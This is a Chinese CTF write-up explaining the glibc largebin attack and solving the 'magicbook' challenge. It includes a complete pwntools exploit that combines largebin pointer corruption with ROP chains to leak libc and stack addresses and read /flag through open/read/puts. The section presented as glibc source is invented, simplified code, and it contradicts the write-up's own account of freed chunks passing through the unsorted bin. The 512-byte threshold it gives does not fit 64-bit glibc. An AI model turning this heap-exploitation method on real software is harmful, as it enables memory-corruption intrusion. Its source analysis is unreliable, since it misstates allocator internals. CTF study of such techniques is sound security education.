常回家看看之largebin_attack
常回家看看之largebin_attack
先简单介绍一下什么是largebin
largebin
是 glibc 的
malloc
实现中用于管理大块内存的一种数据结构。在 glibc 的内存分配中,
largebin
是
bin
系列的一部分,用于存储大小超过某个阈值的空闲内存块。
largebin
的设计目标是提高内存管理的效率,并减少内存碎片。
简单点就是用来管理较大的堆块的
- 起始大小:
largebin
管理的内存块大小从
smallbin
范围的最大值 + 1 开始。具体来说,
smallbin
的最大块大小是 512 字节,因此
largebin
的起始大小是 513 字节。 - 无上限:
largebin
的内存块没有固定的上限。任何大于 512 字节的空闲内存块都会被插入到适当的
largebin
中。 - 当有较大堆块被释放的时候,先进入unsortbin,再次进行分配的时候,如果有合适的,则将堆块分割,剩下的部分仍然进入unsortbin,如果没有合适的则进入largebin
largebin和其他bin的区别
在
largebin
中,每个大块内存块除了标准的双向链表指针
fd
(forward)和
bk
(backward)外,还包含额外的指针
fd_nextsize
和
bk_nextsize
。这些指针的作用如下:
fd
和
bk
:指向当前链表中前后相邻的内存块,用于维护基本的双向链表。fd_nextsize
和
bk_nextsize
:指向按大小排序的前后相邻内存块,用于维护按大小排序的链
作用:
fd_nextsize
:指向当前内存块大小相同或更大的下一个内存块。bk_nextsize
:指向当前内存块大小相同或更小的前一个内存块。
这种结构允许
largebin
维护两条链表:一条是按插入顺序排列的链表(使用
fd
和
bk
指针),另一条是按大小排序的链表(使用
fd_nextsize
和
bk_nextsize
指针)。
Large Bin
的插入顺序:
- 按大小排序:首先根据大小从大到小对堆块进行排序。较小的块链接在较大的块之后。
- 按释放时间排序:对于大小相同的块,按它们被释放的时间顺序进行排序。先释放的块排在前面。
fd_nextsize
和
bk_nextsize
指针:- 对于多个大小相同的堆块,只有第一个块(即首堆块)的
fd_nextsize
和
bk_nextsize
指针指向其他块。 - 后续相同大小的堆块的
fd_nextsize
和
bk_nextsize
指针均为 0。
循环链表:
- 大小最大的块的
bk_nextsize
指向大小最小的块。 - 大小最小的块的
fd_nextsize
指向大小最大的块。
原理:
- Largebin 是 glibc 内存分配器中用于存储较大内存块的链表。每个块不仅包含指向前后块的指针 (
fd
和
bk
),还包含指向相同大小块的指针 (
fd_nextsize
和
bk_nextsize
)。 - 当一个内存块被释放后,它会被放入适当的 bin 中。如果是大块,则放入 Largebin。
- 当分配新的内存块时,glibc 会尝试从适当的 bin 中找到合适的块进行分配。在 Largebin 中,按大小排序的链表有助于快速找到合适的块。
- 攻击者可以通过伪造指针,特别是
bk_nextsize
,来控制内存分配器的行为,从而实现任意地址写入。
glibc 源码分析
1.当一个块被释放并符合 Largebin 条件时,会被放入 Largebin 中。以下是 glibc 中
malloc
和
free
操作的相关部分:
void _int_free(mstate av, mchunkptr p) {
// ... other code ...
// Determine the bin to use
if (chunk_in_largebin_range(size)) {
// Add to Largebin
mchunkptr bck = largebin[bin_index];
mchunkptr fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
// Update nextsize pointers
mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
while (next_chunk != NULL && chunksize(next_chunk) < size) {
next_chunk = next_chunk->fd_nextsize;
}
p->fd_nextsize = next_chunk;
p->bk_nextsize = next_chunk->bk_nextsize;
next_chunk->bk_nextsize = p;
next_chunk->fd_nextsize = p;
}
// ... other code ...
}
2. 修改
bk_nextsize
我们需要找到一种方式修改 Largebin 中块的
bk_nextsize
字段。
chunk1->bk_nextsize = Target - 0x20;
3. 分配新块触发攻击
当分配一个新的块时,glibc 会尝试找到合适的块进行分配。在这个过程中,伪造的
bk_nextsize
会被用来更新指针,导致任意地址写入。
void* _int_malloc(mstate av, size_t bytes) {
// ... other code ...
if (bytes > MAX_SMALLBIN_SIZE) {
// Check Largebin
mchunkptr victim = largebin[bin_index];
if (victim != NULL) {
// Remove from Largebin
mchunkptr bck = victim->bk;
mchunkptr fwd = victim->fd;
bck->fd = fwd;
fwd->bk = bck;
// Update nextsize pointers
mchunkptr next_chunk = victim->fd_nextsize;
next_chunk->bk_nextsize = victim->bk_nextsize;
victim->bk_nextsize->fd_nextsize = next_chunk;
// Allocate the chunk
set_inuse_bit_at_offset(victim, bytes);
return chunk2mem(victim);
}
}
// ... other code ...
}
通过上周的比赛题目可以很好的介绍largebin_attack
题目地址:
https://buuoj.cn/match/matches/207/challenges#magicbook
题目保护情况:没有开canary保护
64位ida逆向
存在3个功能,一个一个看
add,申请堆块大小和数量都有限制
free,不仅存在UAF,而且还有任意堆块数据部分+8处0x18字节写的功能
edit,如果book处的地址很大存在栈溢出
沙箱保护
思路:通过largebin_attack,将book处的地址变成一个较大的数据(头指针),然后通过栈溢出,orw读取数据
1.申请0x450,0x440,0x440(防止合并)大小的三个堆块
2.释放第一个堆块(此时进入unsortbin)
3.申请一个比第一个堆块大的堆块(此时进入largebin)
4.释放第二个堆块的同时,修改第一个堆块的bk_nextsize为book-0x20的位置
5.申请一个大堆块完成largebin_attack
6.栈溢出orw读取flag
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./libc.so.6')
success('puts--->'+hex(libc.sym['system']))
io.recvuntil(' gift: ')
elf_base = int(io.recv(14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060
def add(size):
io.sendlineafter('Your choice:','1')
io.sendlineafter('your book need?',str(size))
def free0(index,ch,msg):
io.sendlineafter('Your choice:','2')
io.sendlineafter('want to delete?',str(index))
io.sendlineafter('being deleted?(y/n)','y')
io.sendlineafter('you want to write?',str(ch))
io.sendafter('content: ',msg)
def free1(index):
io.sendlineafter('Your choice:','2')
io.sendlineafter('want to delete?',str(index))
io.sendlineafter('being deleted?(y/n)','n')
def edit():
io.sendlineafter('Your choice:','3')
book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863 + elf_base # : pop rdi; ret;
pop_rsi = 0x0000000000001861 + elf_base #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1
#gdb.attach(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#gdb.attach(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0)
edit()
io.recvuntil('down your story!')
#gdb.attach(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
io.sendline(payload)
io.recvuntil('\n')
libc_bass = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success('libc_bass---->'+hex(libc_bass))
io.recvuntil('down your story!')
pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret;
syscall = 0x0000000000091316 + libc_bass#: syscall; ret;
open = libc_bass + libc.sym['open']
environ = libc_bass + libc.sym['environ']
success('environ---->'+hex(environ))
read = libc_bass + libc.sym['read']
payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
stack = u64(io.recv(6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
io.recvuntil('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt)
print(len(payload))
payload += b'/flag\x00\x00'
#gdb.attach(io)
io.sendline(payload)
io.interactive()
总结:
Largebin Attack 利用条件和步骤
利用条件:
修改权限:能够修改 Largebin 中块的
bk_nextsize
字段。堆块分配:程序能够分配至少三种不同大小的块,并确保这些块紧密相邻。
利用步骤:
分配堆块:
分配一块大小为
size1
且在 Largebin 范围内的块
chunk1
。分配一块任意大小的块
pad1
,以防止在释放
chunk1
时系统将其与 top chunk 合并。分配一块大小为
size2
且在 Largebin 范围内的块
chunk2
,要求
size2 < size1
且
chunk2
紧邻
chunk1
。分配一块任意大小的块
pad2
,以防止在释放
chunk2
时系统将其与 top chunk 合并。
释放并重新分配:
释放
chunk1
,此时系统会将其放入 unsortedbin。再分配一个大小为
size3
的块,要求
size3 > size1
,此时系统会将
chunk1
放进 Largebin 中。确保
chunk2
紧邻
chunk1
。释放
chunk2
进入 unsortedbin。
修改指针:
修改
chunk1->bk_nextsize
为
Target - 0x20
。
触发攻击:
随意分配一个可以进入unsortbin的堆块,就会触发 Largebin attack。